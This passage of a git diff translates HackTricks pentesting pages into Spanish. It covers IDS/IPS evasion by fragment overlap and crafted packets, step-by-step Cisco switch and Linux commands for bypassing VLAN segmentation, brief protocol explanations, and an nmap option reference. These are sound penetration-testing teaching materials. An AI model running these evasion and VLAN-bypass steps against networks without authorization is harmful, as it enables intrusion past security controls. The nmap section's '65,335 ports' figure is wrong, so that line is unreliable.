packet that will be **interpreted by the sensor but rejected by the final host.** Example: +Un sensor podría ignorar paquetes con ciertas banderas y opciones establecidas dentro de los encabezados IP y TCP, mientras que el host de destino acepta el paquete al recibirlo. -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +# **Superposición** -# **Uncommon IP and TCP options** +Es posible que al fragmentar un paquete, exista algún tipo de superposición entre los paquetes (quizás los primeros 8 bytes del paquete 2 se superponen con los últimos 8 bytes del paquete 1, y los últimos 8 bytes del paquete 2 se superponen con los primeros 8 bytes del paquete 3). Entonces, si el IDS/IPS los reensambla de una manera diferente a la del host final, se interpretará un paquete diferente.\ +O tal vez, 2 paquetes con el mismo desplazamiento llegan y el host tiene que decidir cuál toma. -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +- **BSD**: Tiene preferencia por paquetes con _offset_ más pequeño. Para paquetes con el mismo offset, elegirá el primero. +- **Linux**: Al igual que BSD, pero prefiere el último paquete con el mismo offset. +- **Primero** (Windows): Primer valor que llega, valor que se queda. +- **Último** (cisco): Último valor que llega, valor que se queda. -# **Overlapping** - -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. - -- **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -- **Linux**: Like BSD, but it prefers the last packet with the same offset. -- **First** (Windows): First value that comes, value that stays. -- **Last** (cisco): Last value that comes, value that stays. - -# Tools +# Herramientas - [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index eaf5835eb..7a80bb487 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -1,35 +1,28 @@ -# Lateral VLAN Segmentation Bypass +# Bypass de Segmentación de VLAN Lateral {{#include ../../banners/hacktricks-training.md}} -If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Si se tiene acceso directo a un switch, se puede eludir la segmentación de VLAN. Esto implica reconfigurar el puerto conectado a modo trunk, establecer interfaces virtuales para las VLAN objetivo y configurar direcciones IP, ya sea de forma dinámica (DHCP) o estática, dependiendo del escenario (**para más detalles consulta [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** -Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask. - -**If CDP is not operational, port identification can be attempted by searching for the MAC address**: +Inicialmente, se requiere la identificación del puerto conectado específico. Esto se puede lograr típicamente a través de mensajes CDP, o buscando el puerto mediante la máscara **include**. +**Si CDP no está operativo, se puede intentar la identificación del puerto buscando la dirección MAC**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` - -Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10. - +Antes de cambiar al modo trunk, se debe compilar una lista de VLANs existentes y determinar sus identificadores. Estos identificadores se asignan a la interfaz, lo que permite el acceso a varias VLANs a través del trunk. El puerto en uso, por ejemplo, está asociado con la VLAN 10. ``` SW1# show vlan brief ``` - -**Transitioning to trunk mode entails entering interface configuration mode**: - +**La transición al modo trunk implica ingresar al modo de configuración de la interfaz**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` +Cambiar a modo trunk interrumpirá temporalmente la conectividad, pero esto se puede restaurar posteriormente. -Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently. - -Virtual interfaces are then created, assigned VLAN IDs, and activated: - +Luego se crean interfaces virtuales, se asignan IDs de VLAN y se activan: ```bash sudo vconfig add eth0 10 sudo vconfig add eth0 20 @@ -40,27 +33,22 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` - -Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured: - +Posteriormente, se realiza una solicitud de dirección a través de DHCP. Alternativamente, en casos donde DHCP no es viable, las direcciones se pueden configurar manualmente: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 sudo dhclient -v eth0.50 sudo dhclient -v eth0.60 ``` - -Example for manually setting a static IP address on an interface (VLAN 10): - +Ejemplo para configurar manualmente una dirección IP estática en una interfaz (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` +La conectividad se prueba iniciando solicitudes ICMP a las puertas de enlace predeterminadas para las VLANs 10, 20, 50 y 60. -Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60. +En última instancia, este proceso permite eludir la segmentación de VLAN, facilitando así el acceso sin restricciones a cualquier red VLAN y preparando el escenario para acciones posteriores. -Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. - -## References +## Referencias - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) diff --git a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 72dfbfb12..464820039 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -2,54 +2,54 @@ ## Multicast DNS (mDNS) -The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information. +El protocolo **mDNS** está diseñado para la resolución de direcciones IP dentro de redes locales pequeñas sin un servidor de nombres dedicado. Funciona mediante el envío de una consulta por multicast dentro de la subred, lo que provoca que el host con el nombre especificado responda con su dirección IP. Todos los dispositivos en la subred pueden actualizar sus cachés de mDNS con esta información. -Key points to note: +Puntos clave a tener en cuenta: -- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero. -- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments. -- **Networking Details**: - - Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. - - IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. - - Operates over UDP port 5353. - - mDNS queries are confined to the local network and do not cross routers. +- **Renuncia de Nombre de Dominio**: Un host puede liberar su nombre de dominio enviando un paquete con un TTL de cero. +- **Restricción de Uso**: mDNS típicamente resuelve nombres que terminan en **.local** solamente. Los conflictos con hosts no mDNS en este dominio requieren ajustes en la configuración de la red. +- **Detalles de Red**: +- Direcciones MAC multicast de Ethernet: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. +- Direcciones IP: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. +- Opera sobre el puerto UDP 5353. +- Las consultas mDNS están confinadas a la red local y no cruzan routers. -## DNS-SD (Service Discovery) +## DNS-SD (Descubrimiento de Servicios) -DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html). +DNS-SD es un protocolo para descubrir servicios en una red consultando nombres de dominio específicos (por ejemplo, `_printers._tcp.local`). Una respuesta incluye todos los dominios relacionados, como impresoras disponibles en este caso. Se puede encontrar una lista completa de tipos de servicio [aquí](http://www.dns-sd.org/ServiceTypes.html). -## SSDP (Simple Service Discovery Protocol) +## SSDP (Protocolo de Descubrimiento de Servicios Simple) -SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP. +SSDP facilita el descubrimiento de servicios de red y es utilizado principalmente por UPnP. Es un protocolo basado en texto que utiliza UDP sobre el puerto 1900, con direccionamiento multicast. Para IPv4, la dirección multicast designada es `239.255.255.250`. La base de SSDP es [HTTPU](https://en.wikipedia.org/wiki/HTTPU), una extensión de HTTP para UDP. ## Web Service for Devices (WSD) -Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings. +Los dispositivos conectados a una red pueden identificar los servicios disponibles, como impresoras, a través del Web Service for Devices (WSD). Esto implica la transmisión de paquetes UDP. Los dispositivos que buscan servicios envían solicitudes, mientras que los proveedores de servicios anuncian sus ofertas. ## OAuth 2.0 -OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data. +OAuth 2.0 es un protocolo que facilita el intercambio seguro y selectivo de información del usuario entre servicios. Por ejemplo, permite a los servicios acceder a los datos del usuario de Google sin múltiples inicios de sesión. El proceso implica la autenticación del usuario, la autorización por parte del usuario y la generación de un token por Google, permitiendo el acceso del servicio a los datos del usuario especificado. ## RADIUS -RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes. +RADIUS (Remote Authentication Dial-In User Service) es un protocolo de acceso a la red utilizado principalmente por los ISP. Soporta autenticación, autorización y contabilidad. Las credenciales del usuario son verificadas por un servidor RADIUS, que puede incluir la verificación de la dirección de red para mayor seguridad. Después de la autenticación, los usuarios reciben acceso a la red y los detalles de su sesión son rastreados para fines de facturación y estadísticos. -## SMB and NetBIOS +## SMB y NetBIOS ### SMB (Server Message Block) -SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices. +SMB es un protocolo para compartir archivos, impresoras y puertos. Opera directamente sobre TCP (puerto 445) o a través de NetBIOS sobre TCP (puertos 137, 138). Esta compatibilidad dual mejora la conectividad con varios dispositivos. ### NetBIOS (Network Basic Input/Output System) -NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting. +NetBIOS gestiona sesiones y conexiones de red para el intercambio de recursos. Soporta nombres únicos para dispositivos y nombres de grupo para múltiples dispositivos, permitiendo mensajería dirigida o por difusión. La comunicación puede ser sin conexión (sin acuse de recibo) o orientada a conexión (basada en sesiones). Aunque NetBIOS tradicionalmente opera sobre protocolos como IPC/IPX, se utiliza comúnmente sobre TCP/IP. NetBEUI, un protocolo asociado, es conocido por su velocidad pero también era bastante verboso debido a la difusión. ## LDAP (Lightweight Directory Access Protocol) -LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication. +LDAP es un protocolo que permite la gestión y acceso a información de directorios sobre TCP/IP. Soporta diversas operaciones para consultar y modificar información de directorios. Predominantemente, se utiliza para acceder y mantener servicios de información de directorios distribuidos, permitiendo la interacción con bases de datos diseñadas para la comunicación LDAP. ## Active Directory (AD) -Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain. +Active Directory es una base de datos accesible a través de la red que contiene objetos como usuarios, grupos, privilegios y recursos, facilitando la gestión centralizada de entidades de red. AD organiza sus datos en una estructura jerárquica de dominios, que puede abarcar servidores, grupos y usuarios. Los subdominios permiten una segmentación adicional, cada uno manteniendo potencialmente su propio servidor y base de usuarios. Esta estructura centraliza la gestión de usuarios, otorgando o restringiendo el acceso a los recursos de la red. Se pueden realizar consultas para recuperar información específica, como detalles de contacto, o para localizar recursos, como impresoras, dentro del dominio. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 02535d28b..ff7b49a2b 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,96 +1,90 @@ -# Nmap Summary (ESP) +# Resumen de Nmap (ESP) {{#include ../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ``` nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +## Parámetros -## Parameters +### IPs a escanear -### IPs to scan - -- **`,`:** Indicate the ips directly +- **`,`:** Indica las ips directamente - **`-iL `:** list_IPs -- **`-iR `**: Number of random Ips, you can exclude possible Ips with `--exclude ` or `--excludefile `. +- **`-iR `**: Número de Ips aleatorias, puedes excluir posibles Ips con `--exclude ` o `--excludefile `. -### Equipment discovery +### Descubrimiento de equipos -By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP` +Por defecto, Nmap lanza una fase de descubrimiento que consiste en: `-PA80 -PS443 -PE -PP` -- **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets. -- **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase. -- **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped. -- **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`. -- **`-PS `**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80. -- **`-PA `**: Like the previous one but with ACK, combining both of them gives better results. -- **`-PU `**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable. -- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active. -- **`-PY`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied. -- **`-PO `**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up. -- **`-n`**: No DNS -- **`-R`**: DNS always +- **`-sL`**: No es invasivo, lista los objetivos haciendo **DNS** solicitudes para resolver nombres. Es útil para saber si, por ejemplo, www.prueba.es/24 todas las Ips son nuestros objetivos. +- **`-Pn`**: **Sin ping**. Esto es útil si sabes que todos están activos (si no, podrías perder mucho tiempo, pero esta opción también produce falsos negativos diciendo que no están activos), previene la fase de descubrimiento. +- **`-sn`** : **Sin escaneo de puertos**. Después de completar la fase de reconocimiento, no escanea puertos. Es relativamente sigiloso y permite un pequeño escaneo de red. Con privilegios envía un ACK (-PA) a 80, un SYN(-PS) a 443 y una solicitud de eco y una solicitud de marca de tiempo, sin privilegios siempre completa conexiones. Si el objetivo es la red, solo utiliza ARP(-PR). Si se usa con otra opción, solo se descartan los paquetes de la otra opción. +- **`-PR`**: **Ping ARP**. Se utiliza por defecto al analizar computadoras en nuestra red, es más rápido que usar pings. Si no deseas usar paquetes ARP, usa `--send-ip`. +- **`-PS `**: Envía paquetes SYN a los cuales, si responde SYN/ACK, está abierto (a lo que responde con RST para no finalizar la conexión), si responde RST está cerrado y si no responde es inalcanzable. En caso de no tener privilegios, se utiliza automáticamente una conexión total. Si no se dan puertos, se lanza a 80. +- **`-PA `**: Como el anterior pero con ACK, combinando ambos da mejores resultados. +- **`-PU `**: El objetivo es el opuesto, se envían a puertos que se espera que estén cerrados. Algunos firewalls solo verifican conexiones TCP. Si está cerrado se responde con puerto inalcanzable, si se responde con otro icmp o no se responde se deja como inalcanzable. +- **`-PE, -PP, -PM`** : PINGS ICMP: respuesta de eco, marca de tiempo y máscara de dirección. Se lanzan para averiguar si el objetivo está activo. +- **`-PY`**: Envía sondas SCTP INIT a 80 por defecto, INIT-ACK(abierto) o ABORT(cerrado) o nada o ICMP inalcanzable(inactivo) pueden ser respondidos. +- **`-PO `**: Se indica un protocolo en los encabezados, por defecto 1(ICMP), 2(IGMP) y 4(Encap IP). Para los protocolos ICMP, IGMP, TCP (6) y UDP (17) se envían los encabezados de protocolo, para el resto solo se envía el encabezado IP. El propósito de esto es que debido a la malformación de los encabezados, se responden Protocol inalcanzable o respuestas del mismo protocolo para saber si está activo. +- **`-n`**: Sin DNS +- **`-R`**: DNS siempre -### Port scanning techniques +### Técnicas de escaneo de puertos -- **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default. -- **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges. -- **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time. -- **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY -- **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes. -- **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed. -- **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around. -- **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets. -- **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls. -- **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open. -- **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered. -- **`-b `:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\:\@]\\[:\] Almost all ftps servers no longer let you do this and therefore it is of little practical use. +- **`-sS`**: No completa la conexión, por lo que no deja rastro, muy bueno si se puede usar.(privilegios) Es el que se utiliza por defecto. +- **`-sT`**: Completa la conexión, por lo que deja un rastro, pero se puede usar con seguridad. Por defecto sin privilegios. +- **`-sU`**: Más lento, para UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 y 68), (-sU53,161,162,67,68): abierto(respuesta), cerrado(puerto inalcanzable), filtrado (otro ICMP), abierto/filtrado (nada). En caso de abierto/filtrado, -sV envía numerosas solicitudes para detectar cualquiera de las versiones que nmap soporta y puede detectar el verdadero estado. Aumenta mucho el tiempo. +- **`-sY`**: El protocolo SCTP no logra establecer la conexión, por lo que no hay registros, funciona como -PY +- **`-sN,-sX,-sF`:** Null, Fin, Xmas, pueden penetrar algunos firewalls y extraer información. Se basan en el hecho de que las máquinas que cumplen con los estándares deberían responder con RST a todas las solicitudes que no tengan SYN, RST o ACK. Respuestas: abierto/filtrado(nada), cerrado(RST), filtrado (ICMP inalcanzable). No confiable en Windows, Cisco, BSDI y OS/400. En unix sí. +- **`-sM`**: Escaneo Maimon: Envía banderas FIN y ACK, utilizado para BSD, actualmente devolverá todo como cerrado. +- **`-sA, sW`**: ACK y Window, se utiliza para detectar firewalls, para saber si los puertos están filtrados o no. El -sW distingue entre abierto/cerrado ya que los abiertos responden con un valor de ventana diferente: abierto (RST con ventana diferente de 0), cerrado (RST ventana = 0), filtrado (ICMP inalcanzable o nada). No todas las computadoras funcionan de esta manera, por lo que si todo está cerrado, no está funcionando, si hay pocos abiertos, está funcionando bien, y si hay muchos abiertos y pocos cerrados, está funcionando al revés. +- **`-sI`:** Escaneo Idle. Para los casos en los que hay un firewall activo pero sabemos que no filtra a una cierta Ip (o cuando simplemente queremos anonimato) podemos usar el escáner zombie (funciona para todos los puertos), para buscar posibles zombies podemos usar el script ipidseq o el exploit auxiliary/scanner/ip/ipidseq. Este escáner se basa en el número IPID de los paquetes IP. +- **`--badsum`:** Envía la suma incorrecta, las computadoras descartarían los paquetes, pero los firewalls podrían responder algo, se utiliza para detectar firewalls. +- **`-sZ`:** Escáner SCTP "raro", al enviar sondas con fragmentos de eco de cookie deberían ser descartados si están abiertos o respondidos con ABORT si están cerrados. Puede pasar a través de firewalls que init no pasa, lo malo es que no distingue entre filtrado y abierto. +- **`-sO`:** Escaneo de protocolo Ip. Envía encabezados incorrectos y vacíos en los que a veces ni siquiera se puede distinguir el protocolo. Si llega ICMP inalcanzable protocolo está cerrado, si llega puerto inalcanzable está abierto, si llega otro error, filtrado, si no llega nada, abierto|filtrado. +- **`-b `:** FTPhost--> Se utiliza para escanear un host desde otro, esto se hace conectando el ftp de otra máquina y pidiéndole que envíe archivos a los puertos que deseas escanear desde otra máquina, según las respuestas sabremos si están abiertos o no. \[\:\@]\\[:\] Casi todos los servidores ftps ya no te permiten hacer esto y por lo tanto tiene poco uso práctico. -### **Focus Analysis** +### **Análisis de Enfoque** -**-p:** Used to specify ports to scan. To select all 65,335 ports: **-p-** or **-p all**. Nmap has an internal classification based on popularity. By default, it uses the top 1000 ports. With **-F** (fast scan) it analyzes the top 100. With **--top-ports ** it analyzes that number of top ports (from 1 to 65,335). It checks ports in random order; to prevent this, use **-r**. We can also select specific ports: 20-30,80,443,1024- (the latter means to look from 1024 onwards). We can also group ports by protocols: U:53,T:21-25,80,139,S:9. We can also choose a range within Nmap's popular ports: -p [-1024] analyzes up to port 1024 from those included in nmap-services. **--port-ratio ** Analyzes the most common ports within a ratio between 0 and 1 +**-p:** Se utiliza para especificar puertos a escanear. Para seleccionar todos los 65,335 puertos: **-p-** o **-p all**. Nmap tiene una clasificación interna basada en popularidad. Por defecto, utiliza los 1000 puertos principales. Con **-F** (escaneo rápido) analiza los 100 principales. Con **--top-ports ** analiza ese número de puertos principales (de 1 a 65,335). Verifica puertos en orden aleatorio; para prevenir esto, usa **-r**. También podemos seleccionar puertos específicos: 20-30,80,443,1024- (este último significa buscar desde 1024 en adelante). También podemos agrupar puertos por protocolos: U:53,T:21-25,80,139,S:9. También podemos elegir un rango dentro de los puertos populares de Nmap: -p [-1024] analiza hasta el puerto 1024 de los incluidos en nmap-services. **--port-ratio ** Analiza los puertos más comunes dentro de un ratio entre 0 y 1 -**-sV** Version scanning, intensity can be regulated from 0 to 9, default is 7. +**-sV** Escaneo de versiones, la intensidad se puede regular de 0 a 9, el valor por defecto es 7. -**--version-intensity ** We regulate the intensity, so that the lower it is, it will only launch the most probable probes, but not all. With this, we can considerably shorten UDP scanning time +**--version-intensity ** Regulamos la intensidad, de modo que cuanto más bajo sea, solo lanzará las sondas más probables, pero no todas. Con esto, podemos acortar considerablemente el tiempo de escaneo UDP -**-O** OS detection +**-O** Detección de SO -**--osscan-limit** For proper host scanning, at least one open port and one closed port are needed. If this condition isn't met and we've set this, it won't attempt OS prediction (saves time) +**--osscan-limit** Para un escaneo adecuado de hosts, se necesita al menos un puerto abierto y un puerto cerrado. Si esta condición no se cumple y hemos establecido esto, no intentará la predicción del SO (ahorra tiempo) -**--osscan-guess** When OS detection isn't perfect, this makes it try harder +**--osscan-guess** Cuando la detección del SO no es perfecta, esto hace que intente más **Scripts** --script __|__|__|__[,...] -To use default scripts, use -sC or --script=default +Para usar scripts predeterminados, usa -sC o --script=default -Available types are: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln +Los tipos disponibles son: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, y vuln -- **Auth:** executes all available authentication scripts -- **Default:** executes basic default tool scripts -- **Discovery:** retrieves information from the target or victim -- **External:** script for using external resources -- **Intrusive:** uses scripts considered intrusive to the victim or target -- **Malware:** checks for connections opened by malicious code or backdoors -- **Safe:** executes non-intrusive scripts -- **Vuln:** discovers the most known vulnerabilities -- **All:** executes absolutely all available NSE extension scripts +- **Auth:** ejecuta todos los scripts de autenticación disponibles +- **Default:** ejecuta scripts básicos de herramientas predeterminadas +- **Discovery:** recupera información del objetivo o víctima +- **External:** script para usar recursos externos +- **Intrusive:** utiliza scripts considerados intrusivos para la víctima o objetivo +- **Malware:** verifica conexiones abiertas por código malicioso o puertas traseras +- **Safe:** ejecuta scripts no intrusivos +- **Vuln:** descubre las vulnerabilidades más conocidas +- **All:** ejecuta absolutamente todos los scripts de extensión NSE disponibles -To search for scripts: +Para buscar scripts: -**nmap --script-help="http-\*" -> Those starting with http-** +**nmap --script-help="http-\*" -> Aquellos que comienzan con http-** -**nmap --script-help="not intrusive" -> All except those** +**nmap --script-help="not intrusive" -> Todos excepto esos** -**nmap --script-help="default or safe" -> Those in either or both** +**nmap --script-help="default or safe" -> Aquellos en cualquiera o ambos** -**nmap --script-help="default and safe" --> Those in both** +**nmap --script-help="default and safe" --> Aquellos en ambos** **nmap --script-help="(default or safe or intrusive) and not http-\*"** @@ -100,43 +94,43 @@ To search for scripts: --script-help __|__|__|__|all[,...] ---script-trace ---> Provides info on how the script is progressing +--script-trace ---> Proporciona información sobre cómo avanza el script --script-updatedb -**To use a script, just type: nmap --script Script_Name target** --> When using the script, both the script and scanner will execute, so scanner options can also be added. We can add **"safe=1"** to execute only safe ones. +**Para usar un script, simplemente escribe: nmap --script Script_Name target** --> Al usar el script, tanto el script como el escáner se ejecutarán, por lo que también se pueden agregar opciones del escáner. Podemos agregar **"safe=1"** para ejecutar solo los seguros. -**Time Control** +**Control de Tiempo** -**Nmap can modify time in seconds, minutes, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Nmap puede modificar el tiempo en segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s, y 15m todos hacen lo mismo. -Nmap divides the total number of hosts to scan into groups and analyzes these groups in blocks, so it doesn't move to the next block until all have been analyzed (and the user doesn't receive any updates until the block has been analyzed). This way, it's more optimal for Nmap to use large groups. By default in class C, it uses 256. +Nmap divide el número total de hosts a escanear en grupos y analiza estos grupos en bloques, por lo que no se mueve al siguiente bloque hasta que todos han sido analizados (y el usuario no recibe actualizaciones hasta que el bloque ha sido analizado). De esta manera, es más óptimo para Nmap usar grupos grandes. Por defecto en clase C, utiliza 256. -This can be changed with **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Adjust parallel scan group sizes) +Esto se puede cambiar con **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Ajustar tamaños de grupo de escaneo paralelo) -You can control the number of parallel scanners but it's better not to (Nmap already incorporates automatic control based on network status): **--min-parallelism** _****_**;** **--max-parallelism** _****_ +Puedes controlar el número de escáneres paralelos, pero es mejor no hacerlo (Nmap ya incorpora control automático basado en el estado de la red): **--min-parallelism** _****_**;** **--max-parallelism** _****_ -We can modify the RTT timeout, but it's usually not 